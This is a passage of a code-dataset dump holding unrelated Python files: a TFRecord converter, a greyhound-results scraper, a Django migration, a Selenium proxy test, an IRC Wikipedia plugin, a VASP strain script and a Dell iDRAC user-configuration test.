tf.data.TFRecordDataset(filenames=filenames)\n dataset = dataset.map(parse)\n\n if train:\n dataset = dataset.shuffle(buffer_size=buffer_size)\n num_repeat = None\n else:\n num_repeat = 1\n dataset = dataset.repeat(num_repeat)\n dataset = dataset.batch(batch_size)\n iterator = dataset.make_one_shot_iterator()\n recordTypes_batch, packetLength_batch, packetPayload_batch, label_batch= iterator.get_next()\n x = {\"recordTypes\":recordTypes_batch,\n \"packetLength\":packetLength_batch,\n \"packetPayload\":packetPayload_batch}\n y = tf.one_hot(label_batch)\n\n return x, y\n\nstart=time.time()\nconvert(train_files,\"../../data/wd_https/no_vpn_train.tfrecord\")\nconvert(test_files,\"../../data/wd_https/no_vpn_test.tfrecord\")\nend=time.time()\nprint (\"time cost:\",end-start)","sub_path":"flows2csv/https_parse_tfrecord.py","file_name":"https_parse_tfrecord.py","file_ext":"py","file_size_in_byte":5370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"221808982","text":"#-*- coding: utf-8 -*-\nimport datetime\nimport os\nfrom urllib2 import urlopen\nfrom lxml import etree\nfrom time import sleep\nfrom dog import Dog\nfrom race import Race\nfrom reportgenerator import ReportGenerator\n\nclass DogScraper(object):\n '''\n This is the class to tie it all together.\n '''\n def __init__(self):\n self.BASE_URL = 'http://thedogs.co.uk/resultsMeeting.aspx'\n self.htmlparser = etree.HTMLParser(remove_blank_text=True)\n self.TRACKS = (\n \"Belle%20Vue\",\n \"Crayford\",\n \"Coventry\",\n \"Doncaster\",\n \"Hall%20Green\",\n \"Harlow\",\n \"Henlow\",\n \"Hove\",\n \"Hull\",\n \"Kinsley\",\n \"Mildenhall\",\n \"Monmore\",\n \"Newcastle\",\n \"Nottingham\",\n \"Oxford\",\n \"Pelaw%20Grange\",\n \"Perry%20Barr\",\n \"Peterborough\",\n \"Poole\",\n \"Portsmouth\",\n \"Reading\",\n \"Romford\",\n \"Shawfield\",\n \"Sheffield\",\n \"Sittingbourne\",\n \"Sunderland\",\n \"Swindon\",\n \"Walthamstow\",\n \"Wimbledon\",\n \"Yarmouth\"\n )\n\n def run_search(self, startDate, track, endDate, writeDir):\n '''\n Main searching method. This will set off a scrape that will end with \n the report being written.\n '''\n #List for the race objects\n meetingResults = []\n\n #Set up a racedate datetime object for comparing dates\n startDateObj = self.build_date_obj(startDate)\n if endDate == \"1\":\n endDateObj = startDateObj\n endDateObj += datetime.timedelta(days=1)\n else:\n endDateObj = self.build_date_obj(endDate)\n \n dates = self.get_dates(startDateObj, endDateObj)\n\n #Get urls to query\n queryUrls = self.get_query_urls(dates, track)\n\n #print queryUrls\n for t, urls in queryUrls.iteritems():\n for u in urls:\n \n content = self.get_page_content(u)\n\n if content is None:\n continue\n \n trackNameEls, goingAllowances, forecasts, tricasts = \\\n self.get_track_info_elements(content, t)\n \n #We can assume that our track name matches.\n #Scrape the race and date\n for name, allowance, fcast, tcast in zip(\n trackNameEls, goingAllowances, forecasts, tricasts):\n raceDate, race, grade, distance, goingAllowance, \\\n forecast,tricast, dogs = self.get_race_info(name, \n allowance, fcast, tcast)\n \n raceResult = Race(t, raceDate, race, grade, distance, \n goingAllowance, forecast, tricast, dogs)\n meetingResults.append(raceResult)\n \n generator = ReportGenerator(os.getcwd(), writeDir)\n generator.generate_report(meetingResults)\n meetingResults = []\n \n if len(urls) > 1:\n #Don't get too greedy\n print(\"Going to sleep for 30 seconds\")\n sleep(30)\n \n\n def get_race_info(self, name, allowance, fcast, tcast):\n dateRaceEl = name.getparent().getnext().getnext()\n \n dateRace = dateRaceEl.text.strip()\n \n raceDate = dateRace[:10]\n race = dateRace[-5:]\n gradeEl = dateRaceEl.getnext().getnext()\n grade = gradeEl.text.strip()\n distEl = gradeEl.getnext().getnext()\n distance = distEl.text.strip()\n goingAllowance = allowance.strip()\n forecast = fcast.strip().split(u'\\xA3')[1]\n \n try:\n tricast = tcast.split(u'\\xA3')[1]\n except IndexError:\n tricast = tcast.strip()\n \n #Fetch the dog information\n dogEls = name.getparent().getparent().getparent().getnext().\\\n getnext().getchildren()\n \n dogs = self.get_dogs(dogEls)\n return raceDate, race, grade, distance, goingAllowance, forecast, \\\n tricast, dogs\n\n\n def get_dogs(self, dogEls):\n '''\n Scrapes the dog information and returns a list of dog objects.\n '''\n dogs = []\n #Easier to calculate fin position than scrape it.\n dogCounter = 0\n \n for d in dogEls:\n dogElsChildren = d.getchildren()\n dogInfoCounter = 0\n dog = Dog()\n\n for dc in dogElsChildren:\n dcc = dc.getchildren()\n if dcc != []:\n dogInfoCounter += 1\n \n if dcc[0].tag == 'a':\n dog.name = dcc[0].getchildren()[0].text.strip()\n dogCounter += 1\n dog.fin = \"Fin: \" + str(dogCounter)\n \n if dcc[0].tag == 'strong':\n #Ignore table headers\n if dcc[0].text.strip() == 'Greyhound' or \\\n dcc[0].text.strip() == 'Trap' or \\\n dcc[0].text.strip() == 'SP' or \\\n dcc[0].text.strip() == 'Time/Sec.' or \\\n dcc[0].text.strip() == 'None':\n break\n \n if dogInfoCounter == 2:\n dog.trap = dcc[0].text.strip()\n \n if dogInfoCounter == 3:\n dog.sp = dcc[0].text.strip()\n \n if dogInfoCounter == 4:\n dog.timeSec = dcc[0].text.strip()\n \n if dogInfoCounter == 5:\n #Time distance and bracket is here\n tdbSplit = dcc[0].text.strip().split(' (')\n dog.timeDist = tdbSplit[0].strip()\n try:\n dog.bracket = tdbSplit[1].strip()\\\n .replace(')', '')\n except IndexError:\n dog.bracket = \"None\"\n \n #Get the comment\n dog.comment = self.get_comment(dc)\n \n dogs.append(dog)\n return dogs\n\n\n def get_comment(self, rootEl):\n '''\n Gets the comment text assuming that rootEl is the base td element \n that is the parent of the element that the bracket and time distance \n are parsed from.\n '''\n return rootEl.getparent().getnext().getnext().getchildren()[0]\\\n .getchildren()[0].text.strip()\n\n def get_track_info_elements(self, content, track):\n tree = self.get_parsed_html_tree(content)\n \n trackNameXpath = \"//td/strong[text() = '\" + track + \"']\"\n trackNameEls = tree.xpath(trackNameXpath)\n \n goingAllowanceEl = tree.xpath(\n \"//*[contains(text(), 'Allowance')]\"\n )\n \n #Get the forecast and tricast (if present).\n goingAllowances = []\n triforeEls = []\n for e in goingAllowanceEl:\n #print(e.text.strip())\n goingAllowances.append(e.text.strip())\n triforeEls.append(e.getchildren()[1].tail.strip())\n \n forecasts = []\n tricasts = []\n #Split them up\n for e in triforeEls:\n triforeSplit = e.split(' | ')\n \n #Build forecasts and tricasts lists\n forecasts.append(triforeSplit[0])\n if len(triforeSplit) > 1:\n tricasts.append(triforeSplit[1])\n else: tricasts.append('None')\n return trackNameEls, goingAllowances, forecasts, tricasts\n\n\n def get_query_urls(self, dates, track):\n queryUrls = {}\n \n #If all tracks are requested, go through all tracks first then go\n #by dates in range, else go through dates only for the given track.\n if track == 'All' or track == 'all':\n for raceTrack in self.TRACKS:\n\n urls = []\n for d in dates:\n #Build the url\n searchUrl = self.build_query_url(raceTrack, d)\n if '%20' in raceTrack:\n raceTrack = raceTrack.replace('%20', ' ')\n\n urls.append(searchUrl)\n \n queryUrls[raceTrack] = urls\n\n else:\n urls = []\n for d in dates:\n searchUrl = self.build_query_url(track, d)\n urls.append(searchUrl)\n queryUrls[track] = urls\n return queryUrls\n\n\n def build_query_url(self, raceTrack, raceDate):\n #Convert 2 name tracks to use the %20 character as a space\n if ' ' in raceTrack:\n raceTrack = raceTrack.replace(' ', '%20')\n raceDate = '?racedate=' + raceDate.strftime(\"%d/%m/%Y\") +\\\n '00:00:00'\n searchUrl = self.BASE_URL + raceDate + '&Track=' +\\\n raceTrack\n return searchUrl\n \n \n def get_dates(self, startDate, endDate):\n '''\n Takes 2 date objects, one is a start date and the other the end \n date, and builds a list of all dates in the range.\n '''\n dates = []\n for oneDate in self.get_dates_between(startDate, endDate):\n dates.append(oneDate)\n return dates\n\n \n def get_dates_between(self, startDate, endDate):\n '''\n Generator for the get_dates method.\n '''\n for n in range(int((endDate - startDate).days)):\n yield startDate + datetime.timedelta(n)\n\n\n def build_date_obj(self, startDate):\n '''\n Converts the date (dd/mm/yyyy) string to a date object.\n '''\n raceD, raceM, raceY = startDate.split('/')\n dateObj = datetime.date(int(raceY), int(raceM), int(raceD))\n return dateObj\n\n\n def get_page_content(self, url):\n try:\n content = urlopen(url)\n return content\n except:\n return None\n\n\n def get_parsed_html_tree(self, content):\n '''\n Returns a parsed HTML tree object given the downloaded content \n returned from a get_page_content method call.\n '''\n if content is not None:\n parsedTree = etree.parse(content, self.htmlparser)\n return parsedTree\n else: return None\n","sub_path":"scraper/dogscraper.py","file_name":"dogscraper.py","file_ext":"py","file_size_in_byte":10868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"26550586","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('base', '__first__'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Course',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=200)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Image',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('thumb', models.ImageField(null=True, upload_to=b'uploads', blank=True)),\n ('primary', models.BooleanField(default=False)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Level',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=10)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='University',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('logo', models.ImageField(null=True, upload_to=b'uploads', blank=True)),\n ('name', models.CharField(max_length=50)),\n ('short_description', models.CharField(max_length=200)),\n ('long_description', models.TextField()),\n ('tuition', models.IntegerField(null=True, blank=True)),\n ('rank', models.IntegerField(null=True, blank=True)),\n ('ielts', models.FloatField(null=True, blank=True)),\n ('featured', models.BooleanField(default=True)),\n ('city', models.ForeignKey(blank=True, to='base.City', null=True)),\n ('region', models.ForeignKey(blank=True, to='base.Region', null=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='image',\n name='university',\n field=models.ForeignKey(to='education.University'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='course',\n name='level',\n field=models.ForeignKey(to='education.Level'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='course',\n name='university',\n field=models.ForeignKey(to='education.University'),\n preserve_default=True,\n ),\n ]\n","sub_path":"gouni/education/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"563172418","text":"#!/usr/bin/env python\nimport etcd\nimport socket\n\ndef get_external_ip():\n\tlocalIP = socket.gethostbyname(socket.gethostname())\n\tipList = socket.gethostbyname_ex(socket.gethostname())[-1]\n\tfor ip in ipList:\n\t\tif ip != localIP:\n\t\t\treturn ip\n\nget_external_ip()\n","sub_path":"ip_ping.py","file_name":"ip_ping.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"226015791","text":"from .dummydata import DummyData\n\n\nclass Model2(DummyData):\n \"\"\"\n Dummydata that mimic Model data with two spatial dimensions\n \"\"\"\n def __init__(self,var='ta', oname=\"DummyM2.nc\", **kwargs):\n \"\"\"\n create an empty 3D file\n\n Parameters\n ----------\n month : int\n number of months\n var : str\n variable name to specify\n \"\"\"\n super(Model2, self).__init__(oname, **kwargs)\n\n self.var = var\n\n self.createM2Dimension()\n self.createM2Variable()\n self.addM2Data()\n self.add_ancillary_data()\n self.close()\n\n def createM2Dimension(self):\n self._create_time_dimension()\n self._create_coordinate_dimensions()\n self._create_bnds_dimensions()\n\n def createM2Variable(self):\n # create time variable\n self._create_time_variable()\n\n # create coordinates\n self._create_coordinates()\n\n self.createVariable(\n self.var,\n 'f4',\n ('time',\n 'lat',\n 'lon',\n ),\n fill_value=1.e+20)\n\n self._set_variable_metadata()\n self._set_metadata()\n\n\n\n def addM2Data(self):\n # set variable data\n self.variables[self.var][0:self.month, :, :] = self._get_variable_data()\n\n # set coordinates\n self._set_coordinate_data()\n\n # set the time\n self._set_time_data()\n","sub_path":"dummydata/model2.py","file_name":"model2.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"303105694","text":"\n# -*- coding: utf-8 -*-\nimport unittest\nimport time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n#from selenium.webdriver.common.keys import Keys\n#from selenium.webdriver.support.ui import Select\n#from selenium.common.exceptions import NoSuchElementException\n#from selenium.common.exceptions import NoAlertPresentException\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom browsermobproxy import Server\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.firefox_binary import FirefoxBinary\n#import time, unittest\n\nbinary = FirefoxBinary('C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe')\nbrowser = webdriver.Firefox(firefox_binary=binary)\n\n\n\n#import unittest, time, re\n#from selenium import webdriver\n\nclass challenge8(unittest.TestCase):\n\n def setUp(self):\n print('in setup method')\n dict = {'port': 8090}\n self.server = Server(path=\"C:\\\\Users\\\\SlingUserB\\\\PycharmProjects\\\\challenges\\\\test1\\\\browsermob-proxy-2.1.4-bin\\\\browsermob-proxy-2.1.4\\\\bin\\\\browsermob-proxy\", options=dict)\n self.server.start()\n time.sleep(1)\n self.proxy = self.server.create_proxy()\n time.sleep(1)\n profile = webdriver.FirefoxProfile()\n selenium_proxy = self.proxy.selenium_proxy()\n profile.set_proxy(selenium_proxy)\n self.driver = webdriver.Firefox(firefox_profile=profile)\n self.driver = webdriver.Firefox(\"../geckodriver.exe\")\n# self.driver = webdriver.Chrome(\"../chromedriver.exe\")\n## self.assertIn(\"Copart\", self.driver.title)\n\n def tearDown(self):\n self.driver.close()\n self.server.stop()\n print ('in tear down method')\n\n# def test_challenge3forloop(self):\n# elements = self.driver.find_elements(By.XPATH, \"//*[@id=\\\"tabTrending\\\"]div[1]//a\")\n# for count in elements:\n# print(count.text + \": \" + count.get_attribute(\"href\"))\n\n# self.challenge3whileloop()\n\n# def challenge3whileloop(self):\n# elements = self.driver.find_elements(By.XPATH, \"//*[@id=\\\"popularSearches\\\"]/..div[3]//a\")\n# i = 0\n# while i< len(elements):\n# print(elements[i].text + \": \" + elements[i].get_attribute(\"href\"))\n# i +=1\n\n\n def test_challenge2(self):\n self.proxyy.new_har(\"copart\")\n searchterm = \"exotic\"\n print ('go to copart')\n self.driver.get(\"https://www.copart.com\")\n searchfield = self.driver.find_element(By.ID, \"input-search\")\n searchfield.send_keys(\"exotic\")\n searchbutton = self.driver.find_element(By.XPATH, \"//button[@data-uname=\\\"homepageHeadersearchsubmit\\\"]\")\n searchbutton.click()\n datawait.WebDriver(self.driver, 30)\n datawait.until(EC.visibility_of_element_located((By.XPATH, \"//*[@id=\\\"serverSideDataTable\\\"]//td\")))\n data = self.driver.find_element(By.XPATH, \"//*[@id=\\\"serverSideDataTable\\\"]\")\n html = data.text\n self.proxy.har\n\n for entry in self.proxy.har['log']['entries']:\n _url = entry['request']['url']\n _response = entry['response']\n print(_url)\n print(_response)\n# dataelement = WebDriverWait(self.driver, 60).until(EC.presence_of_element_located((By.XPATH, \"//*[@id=\\\"serverSideDataTable\\\"]//tbody\"))\n# dataelement = WebDriverWait(self.driver, 60).until(EC.visibility_of((By.XPATH, \"//*[@id=\\\"serverSideDataTable\\\"]//tbody\")))\n# html = dataelement.get_attribute(\"innterHTML\")\n# print(html);\n\n self.assertIn(\"PORSCHE\", html)\n\n# def test_challenge6(self):\n# try:\n# filterName = \"Model\"\n# modelvalue = \"Altima SE\"\n# elements = self.driver.find_elements(\"//*[@id='filters-collapse-1']//li//a/text()\")\n# count =3\n# for e in elements:\n# count = count + 1\n# if (e.text ==filterName):\n# e.click()\n# txtelement = self.driver.find_element(\"//*[@id='collapseinside\" + str(count) + \"']/form/div/input\")\n# txtelement.send_keys(modelvalue)\n# checkElement = self.driver.find_element(\"//*[@id='collapseinside4\" + str(count) + \"']//abbr[@value='\" + modelvalue + \"']\")\n# checkElement.click()\n# except:\n# print(\"An exception occured\")\n# print (\"you wanted \" + modelvalue)\n# gac = GetAllCheckboxes()\n# gac.show()\n# checkboxelements = self.driver.find_elements(\"// *[@id='collapseinside4']//input[@type='checkbox']\")\n# print (\" but these are the availabe checkboxes\")\n# for e in checkboxelements:\n# e.get_attribute(\"value\")\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"Challenge 8/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":4805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"24887595","text":"#!/usr/bin/env python3\n\nimport re\nimport time\nimport html\nimport json\nimport sqlite3\nimport requests\n\nfrom plugin import BasicPlugin\nfrom utils import truncate\n\nWIKIPEDIA_URL_RE = re.compile(r\"(?:https?:\\/\\/)?en.wikipedia\\.org\\/wiki\\/.*?(?:\\s|$)\")\n\nclass Plugin(BasicPlugin):\n\t\"\"\"Wikipedia Plugin\"\"\"\n\tdef __init__(self, bot):\n\t\tself.bot = bot\n\t\tself.name = \"wikipedia\"\n\t\tself.priority = 0\n\t\tself.load_priority = 10\n\n\tdef finish(self):\n\t\tpass\n\n\tdef hook(self):\n\t\tself.bot.config.set_safe(\"plugins.\"+self.name, False, \"Wikipedia.\")\n\t\tself.bot.config.set_safe(\"plugins.\"+self.name+\".database\", \"Plugins/Wikipedia/wikicache.sql3\", \"(str) Cache database location.\")\n\t\tself.bot.config.set_safe(\"plugins.\"+self.name+\".cachetime\", 60*60*60*24*7, \"(int) How long to cache pages.\")\n\t\tself.wiki = WikipediaAPIWrapper(Database=self.bot.config.get(\"plugins.\"+self.name+\".database\"))\n\t\treturn self.bot.config.get(\"plugins.\"+self.name)\n\n\tdef call(self, message):\n\t\tif message.command != \"PRIVMSG\":\n\t\t\treturn None\n\n\t\torigin = message.params[0] if message.params[0] != self.bot.ircsock.getnick() else message.origin()[1:]\n\n\t\tif message.params[1] == self.bot.config.get(\"command_trigger\")+\"wiki\" and len(message.params) >= 3:\n\t\t\tarticle = self.wiki.searchWikipediaForArticles(\" \".join(message.params[2:]))\n\t\t\ttry:\n\t\t\t\tarticle, title, timestamp = self.wiki.getArticleFromDatabase(article)\n\t\t\texcept ArticleNotInDatabase:\n\t\t\t\tarticle, title, timestamp = self.wiki.getArticleFromWikipedia(article)\n\t\t\tarticle = truncate(article['description'])\n\t\t\tself.bot.ircsock.say(origin, \"\\x02[Wikipedia]\\x02 {0} - https://en.wikipedia.org/wiki/{1}\".format(article, title.replace(\" \", \"_\")))\n\n\t\telse:\n\t\t\tfor word in message.params[1:]:\n\t\t\t\tif WIKIPEDIA_URL_RE.search(word):\n\t\t\t\t\tarticle = word.split('/')[-1]\n\t\t\t\t\tsection = \"\"\n\t\t\t\t\tif \"#\" in article:\n\t\t\t\t\t\tarticle, section = article.split(\"#\")\n\t\t\t\t\tarticle = self.wiki.searchWikipediaForArticles(article)\n\t\t\t\t\ttry:\n\t\t\t\t\t\tarticle = self.wiki.getArticleFromDatabase(article)\n\t\t\t\t\texcept ArticleNotInDatabase:\n\t\t\t\t\t\tarticle = self.wiki.getArticleFromWikipedia(article)\n\t\t\t\t\tarticle = article[0]\n\t\t\t\t\tif section != \"\":\n\t\t\t\t\t\tarticle = truncate(article[section])\n\t\t\t\t\telse:\n\t\t\t\t\t\tarticle = truncate(article['description'])\n\t\t\t\t\tself.bot.ircsock.say(origin, \"\\x02[Wikipedia]\\x02 {0}\".format(article))\n\nclass ArticleNotInDatabase(Exception):\n\t\"\"\"Basic Exception class, for now.\"\"\"\n\tpass\n\nclass ArticleNotInWikipedia(Exception):\n\t\"\"\"Another Exception class.\"\"\"\n\tpass\n\nclass WikipediaAPIWrapper(object):\n\t\"\"\"An API Wrapper for Wikipedia that caches results.\n\tIt's better than polling and parsing HTML.\n\t\"\"\"\n\tdef __init__(self, Database = 'Wiki.db', Cachetime = 60*60*60*24*7):\n\t\tself._db = Database\n\t\tself.Cachetime = Cachetime\n\t\tself.DBConnection = sqlite3.connect(self._db, check_same_thread = False)\n\t\tself.DBCursor = self.DBConnection.cursor()\n\t\tself.DBCursor.execute(\"CREATE TABLE IF NOT EXISTS Wikipedia (timestamp INTEGER, article_name TEXT, article_extract TEXT)\")\n\n\t@property\n\tdef __time__(self):\n\t\treturn time.time()\n\n\tdef compareTimestamps(self, timestamp):\n\t\t\"\"\"Compare the cached timestamp to current time.\n\t\tReturns False if expired, True otherwise.\n\t\t\"\"\"\n\t\tif self.__time__() > timestamp + self.Cachetime:\n\t\t\treturn False\n\t\treturn True\n\n\tdef checkIfArticleInDatabase(self, article):\n\t\t\"\"\"Checks if an article exists.\n\t\t\"\"\"\n\t\tarticle_extract = self.DBCursor.execute(\"SELECT article_extract FROM Wikipedia WHERE article_name=?\", (article,))\n\t\tarticle_extract = article_extract.fetchone()\n\t\tif article_extract is None:\n\t\t\treturn False\n\t\treturn True\n\n\tdef searchWikipediaForArticles(self, article):\n\t\t\"\"\"Pass an article name to wikipedias search API, return the first result.\n\t\t\"\"\"\n\t\trequest = requests.get(\"https://en.wikipedia.org/w/api.php?action=opensearch&limit=3&namespace=0&format=json&search={0}\".format(article))\n\t\trequest.raise_for_status()\n\t\trequest = json.loads(request.text)\n\t\treturn request[1][0]\n\n\tdef getArticleFromDatabase(self, article):\n\t\t\"\"\"Poll the database for an article, if it's not found, raise ArticleNotInDatabase Error\n\t\t\"\"\"\n\t\tif self.checkIfArticleInDatabase(article) == False:\n\t\t\traise ArticleNotInDatabase(\"The requested article wasn't found in the database.\")\n\t\tquery = self.DBCursor.execute(\"SELECT article_extract, article_name, timestamp FROM Wikipedia WHERE article_name=?\", (article,))\n\t\tarticle_extract, title, timestamp = query.fetchone()\n\t\tarticle_extract = json.loads(article_extract)\n\t\treturn (article_extract, title, timestamp)\n\n\tdef getArticleFromWikipedia(self, article):\n\t\t\"\"\"Poll the Wikipedia API for an article and cache it.\n\t\tShould be called if getArticleFromDatabase() raises ArticleNotInWikipedia Error.\n\t\t\"\"\"\n\t\trequest = requests.get(\"http://en.wikipedia.org/w/api.php?action=query&format=json&exinfo=1&prop=extracts&redirects=0&titles={0}\".format(article))\n\t\t# HTTP Errors should be handled outside of here\n\t\trequest.raise_for_status()\n\t\trequest = html.unescape(request.text)\n\t\trequest = json.loads(request)\n\t\t# dirty hack, since I don't know how to get unknown keys from a dict\n\t\tfor key in request['query']['pages'].keys():\n\t\t\t# we assume theres only one id\n\t\t\tif key == \"-1\":\n\t\t\t\traise ArticleNotInWikipedia(\"The requested article was not found on Wikipedia's site.\")\n\t\t\tdata = request['query']['pages'][key]\n\t\t\tbreak\n\t\ttitle = replacetags(data.get('title'))\n\t\textract = data.get('extract').replace(\"\\n\", \"\")\n\t\tarticle_extract = {}\n\t\t# Don't parse HTML with regex, they said.\n\t\t# It'll be easy, I said.\n\t\tfor subsection in re.findall(r\"\"\"\n\t\t\t\\s # Match beginning tag\n\t\t\t([\\w\\s]+) # Match text inside tag\n\t\t\t # Match end tag\n\t\t\t

([\\w<>].+?)

# Match all text in proceeding

tag\n\t\t\t\"\"\", extract, re.X):\n\t\t\t# subsection[0] == sub name\n\t\t\t# subsection[1] == text\n\t\t\tarticle_extract[subsection[0].replace(\" \", \"_\")] = replacetags(subsection[1])\n\t\tarticle_extract['description'] = replacetags(re.findall(r\"

([\\w<>].+?)

\", extract)[0])\n\t\t#sqlite cant handle dicts; convert back to json\n\t\tarticle_extract_json = json.dumps(article_extract)\n\t\ttimestamp = self.__time__\n\t\tself.DBCursor.execute(\"INSERT INTO Wikipedia (timestamp, article_name, article_extract) VALUES (?, ?, ?)\",\n\t\t\t(timestamp, title, article_extract_json))\n\t\twith self.DBConnection:\n\t\t\ttry:\n\t\t\t\tself.DBConnection.commit()\n\t\t\texcept Exception as e:\n\t\t\t\tprint(repr(e))\n\t\treturn (article_extract, title, timestamp)\n\ndef replacetags(text):\n\ttext = re.sub(\"\", \"\\x1F\", text)\n\ttext = re.sub(\"\", \"\\x02\", text)\n\treturn text\n\n","sub_path":"Plugins/Wikipedia/Wikipedia.py","file_name":"Wikipedia.py","file_ext":"py","file_size_in_byte":6537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"229975629","text":"import numpy as np\nfrom elatoms import Structures, ElAtoms\nfrom pylastic.io.vasp import POS\n\nNoP = 11\netamax = 0.05\n\n########################## Read in POSCAR file: ######################\nposcar = POS('POSCAR').read_pos()\n\n###################### Create Structures instance: ###################\nstructures = Structures()\n\n## Generate distorted structures and add them to structures object: ##\natom = ElAtoms()\natom.poscarToAtoms(poscar)\nfor etan in np.linspace(-etamax,etamax,NoP):\n \n for strains in range(len(atom.strainList)):\n atom = ElAtoms()\n atom.poscarToAtoms(poscar)\n atom.distort(eta=etan, strainType_index = strains)\n structures.append_structure(atom)\n \n####################### Write vasp input files: #######################\nstructures.write_structures()\n\n#################### Start local vasp calculation: ####################\nstructures.executable = '/home/t.dengg/bin/vasp/vasp.5.3/vasp'\nstructures.calc_vasp()\n","sub_path":"build/lib/pylastic/calculate.py","file_name":"calculate.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"131456923","text":"from urllib.parse import urlencode, urlparse, parse_qs\r\n\r\nfrom lxml.html import fromstring\r\nfrom requests import get\r\n\r\nraw = get(\"https://www.google.com/search?q=StackOverflow\").text\r\npage = fromstring(raw)\r\n\r\nfor result in pg.cssselect(\".r a\"):\r\n url = result.get(\"href\")\r\n if url.startswith(\"/url?\"):\r\n url = parse_qs(urlparse(url).query)['q']\r\n print(url[0])\r\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"103995753","text":"'''\nCreated on Aug 25, 2015\n\n@author: waseem.irshad\n'''\nfrom createdeploytemplate import chassisConfigParam\n\n'''\n Add new iDrac user with mismatch password (password and confirm password)\n \n'''\n\nimport os\nimport sys\nrun_dir=os.path.abspath(os.path.dirname(__file__))\ncurrent_dir = os.getcwd()\nos.chdir(run_dir)\nsys.path.insert(0,os.path.abspath('../../discoverresources'))\nsys.path.append(os.path.abspath('../../util'))\nsys.path.append(os.path.abspath('../../testcases/common'))\nsys.path.append(os.path.abspath('../../createdeploytemplate'))\nsys.path.append(os.path.abspath('../../testcases/firmwarerepository'))\nfrom TemplateBaseClass import TemplateTestBase\nimport globalVars\nfrom DiscoverResourceBaseClass import DiscoverResourceTestBase\nfrom utilityModule import UtilBase\n\nclass TestiDRACUser(TemplateTestBase,DiscoverResourceTestBase,UtilBase):\n \n tc_Id=\"\"\n def __init__(self):\n \n TemplateTestBase.__init__(self)\n DiscoverResourceTestBase.__init__(self)\n UtilBase.__init__(self)\n self.tc_Id = self.getTestCaseID(__file__)\n self.authenticate()\n \n def createiDRACUser(self):\n resMD,statMD = self.getResponse(\"GET\", \"ManagedDevice\")\n \n iDRACUser = '''[{\"username\": \"Pcpmismatch\",\"password\": \"7838850355\",\"role\": \"\" ,\"confirmpassword\": \"9870026564\",\"lan\": \"Administrator\",\"idracrole\": \"Operator\",\"serialoverlan\": false,\"enabled\":true}]'''\n chassisIP = chassisConfigParam.startIP\n for resource in resMD:\n if 'chassis' in str(resource[\"deviceType\"].lower()) and resource['ipAddress']==chassisIP:\n refId = resource['refId']\n chassisServiceTag = resource['serviceTag']\n self.log_data(\" CHASSIS IP : %s\"%str(chassisIP))\n self.log_data(\"chassisServiceTag : %s\"%str(chassisServiceTag))\n chassisPuppetName = 'cmc-' + chassisServiceTag.lower()\n \n response = self.getResponse(\"GET\",\"Chassis\",refId=refId)\n \n servers = response[0]['servers']\n serverList=[]\n for server in servers:\n if server['managementIP']==\"0.0.0.0\":\n pass\n else:\n serverList.append({\"ID\":server['id'],\"IP\":server['managementIP'],\"serviceTag\":server['serviceTag'],'puppetCertName':'bladeserver-'+server['serviceTag'].lower()})\n self.log_data(\" SERVER LIST : %s\"%str(serverList))\n \n ioms = response[0]['ioms']\n iomList=[]\n for iom in ioms:\n iomList.append({\"IP\":iom['managementIP'],\"serviceTag\":iom['serviceTag'],'puppetCertName':'dell_iom-'+iom['managementIP']})\n self.log_data(\" IOM LIST : %s\"%str(iomList))\n \n finalPayload = \"\"\n payload = self.readFile(globalVars.Configure_chassis_payload)\n payload = payload.replace(\"$chassis_ID\",\"ff8080814f2ad236014f2ad87e190034\").replace(\"$chassis_comp_id\",chassisServiceTag).replace(\"$chassis_cert_name\",chassisPuppetName).replace(\"$chassis_name\",chassisServiceTag).replace(\"$chassis_IP\",chassisIP).replace(\"$chassis_user_value\",\"[]\").replace(\"$chassis_title_value\",chassisPuppetName).replace(\"$chassisAdditionalParameters\",\"\").replace(\"\",\"\")\n finalPayload = finalPayload + payload\n self.log_data(\" PAYLOAD AFTER CHASSIS \")\n self.log_data(finalPayload)\n for iomDetail in iomList:\n payloadIOM = \"\"\n 